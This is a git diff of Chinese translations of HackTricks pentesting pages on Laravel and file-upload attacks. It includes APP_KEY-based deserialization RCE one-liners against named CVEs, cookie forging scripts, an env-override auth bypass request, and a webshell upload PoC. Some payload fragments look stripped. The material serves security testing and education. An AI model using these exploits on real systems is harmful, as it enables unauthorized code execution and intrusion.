GCM）并结合 HMAC 完整性（`Illuminate\\Encryption\\Encrypter`）。 +最终**发送给客户端**的原始密文是类似下面这种**Base64 的 JSON 对象**： ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,21 +20,23 @@ Laravel 在底层使用 AES-256-CBC (或 GCM) 和 HMAC 完整性 (`Illuminate\\E "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` 默认会对明文进行 `serialize()`，而 `decrypt($payload, $unserialize=true)` **会自动 `unserialize()`** 解密后的值。因此 **任何知道 32 字节秘密 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象，并通过魔术方法 (`__wakeup`, `__destruct`, …) 获得 RCE**。 +`encrypt($value, $serialize=true)` 默认会对明文执行 `serialize()`，而 +`decrypt($payload, $unserialize=true)` **会自动对解密后的值执行 `unserialize()`**。 +因此**任何知道 32 字节密钥 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象并通过魔术方法（`__wakeup`, `__destruct`, …）获得 RCE**。 -最小 PoC (框架 ≥9.x): +Minimal PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -将生成的字符串注入到任何易受攻击的 `decrypt()` 接收点（路由参数、cookie、会话等）。 +将生成的字符串注入任何可被利用的 `decrypt()` sink（路由参数、cookie、session、…）。 --- ## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 自动化整个过程并添加了一个方便的 **bruteforce** 模式： +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 自动化整个流程并添加了一个方便的 **bruteforce** 模式： ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" @@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -脚本透明地支持 CBC 和 GCM 有效负载，并重新生成 HMAC/tag 字段。 +The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field. --- -## 真实世界的漏洞模式 +## 真实世界的易受攻击模式 -| 项目 | 漏洞接收点 | Gadget 链 | +| 项目 | 易受攻击的 sink | Gadget 链 | |---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie 当 `Passport::withCookieSerialization()` 被启用时 | Laravel/RCE9 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie 在启用 `Passport::withCookieSerialization()` 时 | Laravel/RCE9 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | -利用工作流程始终是： +利用流程始终如下： 1. 获取或暴力破解 32 字节的 `APP_KEY`。 -2. 使用 **PHPGGC** 构建一个 gadget 链（例如 `Laravel/RCE13`、`Laravel/RCE9` 或 `Laravel/RCE15`）。 -3. 使用 **laravel_crypto_killer.py** 和恢复的 `APP_KEY` 加密序列化的 gadget。 -4. 将密文传递给易受攻击的 `decrypt()` 接收点（路由参数、cookie、会话等）以触发 **RCE**。 +2. 使用 **PHPGGC** 构建 gadget 链（例如 `Laravel/RCE13`、`Laravel/RCE9` 或 `Laravel/RCE15`）。 +3. 使用 **laravel_crypto_killer.py** 和恢复的 `APP_KEY` 对序列化的 gadget 进行加密。 +4. 将密文传递给易受攻击的 `decrypt()` sink（路由参数、cookie、session …）以触发 **RCE**。 -以下是简洁的一行代码，演示上述每个真实世界 CVE 的完整攻击路径： +下面是简洁的一行命令，演示上述每个真实世界 CVE 的完整攻击路径： ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -80,41 +82,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` +## Mass APP_KEY discovery via cookie brute-force + +由于每个新的 Laravel 响应至少设置一个加密 cookie (`XSRF-TOKEN` 通常还有 `laravel_session`)，**public internet scanners (Shodan, Censys, …) leak millions of ciphertexts**，这些密文可离线攻击。 + +Key findings of the research published by Synacktiv (2024-2025): +* Dataset July 2024 » 580 k tokens，**3.99 % 密钥被破解**（≈23 k） +* Dataset May 2025 » 625 k tokens，**3.56 % 密钥被破解** +* >1 000 servers 仍然易受 legacy CVE-2018-15133 影响，因为 tokens 直接包含序列化数据。 +* 大量密钥复用 – 前 10 个 APP_KEY 是随商业 Laravel 模板（UltimatePOS, Invoice Ninja, XPanel, …）一起分发的硬编码默认值。 + +私有 Go 工具 **nounours** 将 AES-CBC/GCM bruteforce 吞吐量推高到约 1.5 billion tries/s，使完整数据集破解时间降至 <2 分钟。 + + +## CVE-2024-52301 – HTTP argv/env 覆盖 → auth bypass + +当 PHP 的 `register_argc_argv=On`（许多发行版的典型设置）时，PHP 会为来自查询字符串的 HTTP 请求暴露一个 `argv` 数组。最近的 Laravel 版本会解析这些“CLI-like”参数并在运行时识别 `--env=`。这允许仅通过将其附加到任意 URL 来切换当前 HTTP 请求的框架环境： + +- Quick check: +- 访问 `https://target/?--env=local` 或任意字符串，观察与环境相关的变化（debug 横幅、页脚、详细错误）。如果该字符串被反射，覆盖就有效。 + +- Impact example (business logic trusting a special env): +- 如果应用包含诸如 `if (app()->environment('preprod')) { /* bypass auth */ }` 的分支，您可以在不提供有效凭据的情况下通过发送登录 POST 到： +- `POST /login?--env=preprod` + +- Notes: +- 仅对单次请求生效，不会持久化。 +- 需要 `register_argc_argv=On`，以及会为 HTTP 读取 argv 的易受攻击 Laravel 版本。 +- 这是一个有用的原语，可用于在“debug”envs 中显示更详细的错误，或触发受环境控制的代码路径。 + +- Mitigations: +- 对 PHP-FPM/Apache 禁用 `register_argc_argv`。 +- 升级 Laravel 以在 HTTP 请求中忽略 argv，并在生产路由中移除任何基于 `app()->environment()` 的信任假设。 + +Minimal exploitation flow (Burp): +```http +POST /login?--env=preprod HTTP/1.1 +Host: target +Content-Type: application/x-www-form-urlencoded +... +email=a@b.c&password=whatever&remember=0xdf +``` --- -## 通过 cookie 暴力破解发现大量 APP_KEY - -因为每个新的 Laravel 响应至少设置 1 个加密 cookie（`XSRF-TOKEN` 和通常的 `laravel_session`），**公共互联网扫描器（Shodan, Censys, …）泄露了数百万个密文**，可以离线攻击。 - -Synacktiv 发布的研究关键发现（2024-2025）： -* 数据集 2024 年 7 月 » 580 k tokens，**3.99 % 的密钥被破解**（≈23 k） -* 数据集 2025 年 5 月 » 625 k tokens，**3.56 % 的密钥被破解** -* >1 000 服务器仍然易受旧版 CVE-2018-15133 的影响，因为令牌直接包含序列化数据。 -* 巨大的密钥重用 – 前 10 个 APP_KEY 是与商业 Laravel 模板（UltimatePOS, Invoice Ninja, XPanel, …）一起提供的硬编码默认值。 - -私有 Go 工具 **nounours** 将 AES-CBC/GCM 暴力破解吞吐量提升至 ~1.5 亿次尝试/秒，将完整数据集破解时间缩短至 <2 分钟。 - - ## Laravel 技巧 ### 调试模式 -如果 Laravel 处于 **调试模式**，您将能够访问 **代码** 和 **敏感数据**。\ -例如 `http://127.0.0.1:8000/profiles`： +如果 Laravel 处于 **调试模式**，你将能够访问 **代码** 和 **敏感数据**。\ +例如 `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -这通常是利用其他 Laravel RCE CVE 所需的。 +这通常是利用其他 Laravel RCE CVEs 时所需的。 +### 指纹识别与暴露的开发端点 + +快速检查以识别 Laravel 堆栈以及在生产环境中暴露的危险开发工具： + +- `/_ignition/health-check` → 存在 Ignition（用于 CVE-2021-3129 的调试工具）。如果在未认证的情况下可访问，应用可能处于调试模式或配置错误。 +- `/_debugbar` → Laravel Debugbar 资源；通常表示处于调试模式。 +- `/telescope` → Laravel Telescope（开发监控）。如果公开，可能会有大量信息泄露和可执行的操作。 +- `/horizon` → 队列仪表板；可能泄露版本信息，且有时包含受 CSRF 保护的动作。 +- `X-Powered-By`、cookie `XSRF-TOKEN` 和 `laravel_session`，以及 Blade 错误页面也有助于指纹识别。 +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` ### .env -Laravel 将用于加密 cookie 和其他凭据的 APP 保存在一个名为 `.env` 的文件中，可以通过某些路径遍历访问：`/../.env` +Laravel 将用于加密 cookies 和其他凭据的 APP 保存到名为 `.env` 的文件中，该文件可以通过某些路径遍历访问：`/../.env` -Laravel 还会在调试页面中显示此信息（当 Laravel 发现错误并激活时会出现）。 +Laravel 还会在调试页面中显示这些信息（当 Laravel 发现错误并启用时会出现该页面）。 -使用 Laravel 的秘密 APP_KEY，您可以解密和重新加密 cookie： +使用 Laravel 的 APP_KEY（密钥）可以解密并重新加密 cookies： -### 解密 Cookie +### Decrypt Cookie ```python import os import json @@ -169,28 +214,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) -decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') -#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' -encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') +decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') +#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' +encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` -### Laravel 反序列化 RCE +### Laravel Deserialization RCE -易受攻击的版本：5.5.40 和 5.6.x 通过 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +易受影响的版本：5.5.40 和 5.6.x 至 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -您可以在这里找到有关反序列化漏洞的信息：[https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +关于该 deserialization 漏洞的信息见： [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -您可以使用 [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 进行测试和利用\ -或者您也可以使用 metasploit 进行利用：`use unix/http/laravel_token_unserialize_exec` +你可以使用 [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 进行测试和利用。\ +或者你也可以使用 metasploit 进行利用：`use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -另一个反序列化：[https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +另一个 deserialization： [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -## 参考 -* [Laravel: APP_KEY 泄露分析 (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) -* [Laravel : APP_KEY 泄露分析 (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) + + +## 参考资料 +* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) -* [PHPGGC – PHP 通用 Gadget 链](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 详细分析 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) +* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) +* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index a22f14079..75e01676a 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## 文件上传通用方法 +## 文件上传通用方法论 其他有用的扩展名： -- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, .phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ +- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ @@ -17,11 +17,11 @@ ### 绕过文件扩展名检查 -1. 如果适用，**检查**前面的**扩展名**。也用一些**大写字母**测试它们：_pHp, .pHP5, .PhAr ..._ -2. _测试**在可执行扩展之前添加一个合法扩展**（也可以使用前面列出的扩展）：_ +1. 如果适用，请**检查**之前列出的**扩展名**。还要使用一些**大写字母**进行测试： _pHp, .pHP5, .PhAr ..._ +2. _检查**在执行扩展之前添加一个有效扩展**（也使用之前的扩展）：_ - _file.png.php_ - _file.png.Php5_ -3. 尝试在末尾添加**特殊字符**。你可以用 Burp 对所有 **ascii** 和 **Unicode** 字符进行**暴力测试**。(_注意你也可以尝试使用**之前**提到的**扩展名**_) +3. 尝试在末尾添加**特殊字符**。你可以使用 Burp 对所有 **ascii** 和 **Unicode** 字符进行**bruteforce**。 (_注意你也可以尝试使用之前提到的**扩展名**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. 试图通过**欺骗服务器端的扩展解析器**来绕过防护，使用例如**双重**扩展或在扩展之间加入**垃圾数据**（**null** 字节）的技术。_你也可以使用**之前的扩展**来准备更好的 payload。_ +4. 尝试通过欺骗服务端的扩展名解析器来绕过保护，使用诸如**重复**扩展名或在扩展名之间**添加杂乱数据**（**null** 字节）等技术。 _你也可以使用之前的扩展名来构造更好的载荷。_ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,18 +40,18 @@ - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. 在前面的检查中**再添加一层扩展**： +5. 在之前的检查中再添加**另一个扩展层**： - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. 尝试把**可执行扩展放在合法扩展之前**，希望服务器配置错误（在 Apache 的误配置中很有用：任何带有扩展**.php** 的文件，不一定以 .php 结尾，也可能执行代码）： +6. 尝试把**可执行扩展放在有效扩展之前**，希望服务器配置错误。（对利用 Apache 的错误配置有用：任何带有扩展 **.php** 的文件——不一定以 .php 结尾——都会执行代码）: - _ex: file.php.png_ -7. 在 **Windows** 中使用 **NTFS alternate data stream (ADS)**。在这种情况下，会在被禁止的扩展之后、允许的扩展之前插入一个冒号 “:”。结果是在服务器上创建一个**带有被禁止扩展但为空的文件**（例如 "file.asax:.jpg"）。后来可能通过其他技术编辑此文件，例如使用其短文件名。模式 "**::$data**" 也可以用来创建非空文件。因此，在该模式后加一个点字符也可能有助于绕过更多限制（例如 "file.asp::$data."） -8. 试图突破文件名长度限制。合法扩展被截断，而恶意的 PHP 留下。AAA<--SNIP-->AAA.php +7. 在 **Windows** 中使用 **NTFS alternate data stream (ADS)**。在这种情况下，会在被禁止的扩展后和允许的扩展前插入一个冒号字符 ":"。因此，服务器上会创建一个带有被禁止扩展的**空文件**（例如 "file.asax:.jpg"）。该文件可能稍后通过其他技术（例如使用其短文件名）被编辑。模式 "**::$data**" 也可用于创建非空文件。因此，在该模式后添加一个点字符也可能有助于绕过进一步的限制（例如 "file.asp::$data."） +8. 尝试突破文件名长度限制。有效扩展被截断，恶意 PHP 被保留。 AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### 绕过 Content-Type、magic number、压缩与缩放 +#### UniSharp Laravel Filemanager pre-2.9.1 (.php. 末尾点) – CVE-2024-21546 -- 通过将 **Content-Type** header 的 **value** 设置为：_image/png_ , _text/plain , application/octet-stream_ 来绕过 **Content-Type** 检查 -1. Content-Type **词表**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- 通过在文件开头添加一个真实图片的**字节**（混淆 `file` 命令）来绕过 **magic number** 检查。或者把 shell 放到图片的 **metadata** 中：\ +某些上传处理程序会从保存的文件名中去除或规范化末尾的点字符。在 UniSharp 的 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中，你可以通过以下方式绕过扩展名验证： + +- 使用有效的图像 MIME 和 magic header（例如 PNG 的 `\x89PNG\r\n\x1a\n`）。 +- 将上传的文件命名为 PHP 扩展并在其后加一个点，例如 `shell.php.`。 +- 服务器会去掉末尾的点并保存为 `shell.php`，如果它被放在可被 web 访问的目录（默认公共存储，如 `/storage/files/`）中则会执行。 + +最简 PoC (Burp Repeater): +```http +POST /profile/avatar HTTP/1.1 +Host: target +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="upload"; filename="0xdf.php." +Content-Type: image/png + +\x89PNG\r\n\x1a\n +------WebKitFormBoundary-- +``` +然后访问保存的路径（在 Laravel + LFM 中典型）： +``` +GET /storage/files/0xdf.php?cmd=id +``` +缓解措施: +- 升级 unisharp/laravel-filemanager 到 ≥ 2.9.1。 +- 实施严格的服务端 allowlists 并重新验证持久化的文件名。 +- 将上传文件托管在不可执行的位置。 + +### 绕过 Content-Type、Magic Number、Compression & Resizing + +- 绕过 **Content-Type** 检查：将 **Content-Type** **header** 的 **value** 设置为：_image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- 绕过 **magic number** 检查的方法是在文件开头添加 **真实图片的字节**（混淆 _file_ 命令）。或者在 **metadata** 中引入后门：\ `exiftool -Comment="' >> img.png` -- 如果 **对你的图片进行了压缩**（例如使用 PHP 的一些标准库如 PHP-GD），上面的技术可能不奏效。不过，你可以使用 **PLTE chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。 +- 如果 **对你的图片进行了压缩**，例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php)，前述技术可能无效。不过，你可以使用 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本，这些文本将**在压缩后存活**。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- 页面也可能会**调整图片尺寸**，例如使用 PHP-GD 的 `imagecopyresized` 或 `imagecopyresampled`。不过，你可以使用 **IDAT chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。 +- 网页也可能会对 **image** 进行 **resizing**，例如使用 PHP-GD 的 `imagecopyresized` 或 `imagecopyresampled`。不过，你可以使用 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本，这些文本将**在压缩后存活**。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- 另一种让 payload **在图片缩放后仍能存活** 的技术，适用于使用 PHP-GD 的 `thumbnailImage`。你也可以使用 **tEXt chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。 +- 另一个使 payload **在图片缩放后仍然存活** 的技巧，是利用 PHP-GD 的 `thumbnailImage`。不过，你可以使用 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本，这些文本将**在压缩后存活**。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### 其他可检测的技巧 +### 其他需要检查的技巧 -- 找到一个可以**重命名**已上传文件（以更改扩展名）的漏洞。 -- 找到一个 **Local File Inclusion** 漏洞来执行后门。 -- **可能的信息泄露**： -1. 同时**多次上传**（且在**同一时间**）**相同名字**的**同一文件** -2. 上传一个与已存在的**文件**或**文件夹**同名的文件 -3. 上传名为 **"."、".." 或 "..."** 的文件。例如，在 Windows 上的 Apache，如果应用把上传文件保存到 "/www/uploads/" 目录，名为 "." 的文件会在 "/www/" 目录下创建一个名为 "uploads" 的文件。 -4. 上传一个可能无法轻易删除的文件，比如在 **NTFS** 中的 **"...:.jpg"**。（Windows） -5. 在 **Windows** 中上传文件名包含无效字符的文件，例如 `|<>*?”`。（Windows） -6. 在 **Windows** 中使用保留（**禁止**）名称上传文件，例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, 